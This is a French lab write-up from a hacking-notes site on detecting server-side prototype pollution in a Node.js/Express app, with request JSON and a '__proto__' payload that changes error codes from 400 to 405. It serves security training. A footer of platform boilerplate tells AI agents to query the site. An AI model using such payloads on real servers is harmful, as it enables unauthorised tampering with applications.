> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/detection-without-reflection-of-modified-properties.md).

# Détection sans réflexion des propriétés modifiées

### Détection de la pollution de prototype côté serveur sans réflexion de propriété polluée

**Contexte du laboratoire**

Ce laboratoire fonctionne sur **Node.js** par **Express**. Il est vulnérable à une **pollution du prototype côté serveur** parce que **l’application merge (merge) est non sécurisée** à partir de données contrôlées par l’utilisateur dans un objet JavaScript côté serveur.

Objectif : **confirmer la vulnérabilité** en tant que `Object.prototype` polluant **visible mais non destructeur**, uniquement via un changement du comportement du serveur (pas besoin d’aller plus loin dans l’exploitation).

Identifiants : `wiener:peter`.

<figure><img src="/files/7565b281c692e139b94a450b898897878111e0f4" alt=""><figcaption></figcaption></figure>

**Données envoyées par l’application (adresse)**

En modifiant l’adresse de facturation / de livraison, le navigateur envoie un JSON similaire à :

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**Générer une erreur contrôlée pour observer la réponse**

Si vous forcez une erreur d’analyse JSON (par ex. en supprimant un guillemet), vous obtenez une réponse **400** et le serveur renvoie un objet d’erreur dans lequel le `corps` contient notre charge utile (réflexion) :

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

Réponse typique :

```json
{
  "error": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="/files/3570b8dc6c59a7a1928b7991f56d699d6ba1f2da" alt=""><figcaption></figcaption></figure>

**Idée : preuve de pollution sans réflexion directe**

Plutôt que d’attendre qu’une propriété polluée soit renvoyée dans le corps, on peut viser un **changement de comportement mesurable**, par ex. le \*\*code HTTP\*\* renvoyé lors d’une erreur.

Ici, le serveur utilise (ou propage) des champs comme `status` / `statusCode`. Si nous parvenons à polluer `Object.prototype.status`, alors dans les erreurs futures, Express (ou le gestionnaire d’erreurs) peut récupérer cette valeur via l’héritage du prototype → le serveur renverra un **status**.

**Tentative de pollution via `__proto__`**

Un `__proto__` la clé est injectée dans le JSON (dans une requête JSON valide, et non une requête cassée), par exemple :

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="/files/8876dbc15c25f5ee07fe82245c6d0fdb8267482f" alt=""><figcaption></figcaption></figure>

Effet attendu : après cette pollution, **toute erreur** (par ex. une erreur volontaire d’analyse JSON) peut désormais répondre avec **405 au lieu de 400**, car `status` est hérité de `Object.prototype`.

**Résultat / validation**

* Avant pollution : erreurs → `400`
* Après pollution : erreurs → `405` (ou tout autre code choisi)

<figure><img src="/files/ebb4b9b3b5b41783e2c6f2bb747fc61015ca82c0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/detection-without-reflection-of-modified-properties.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
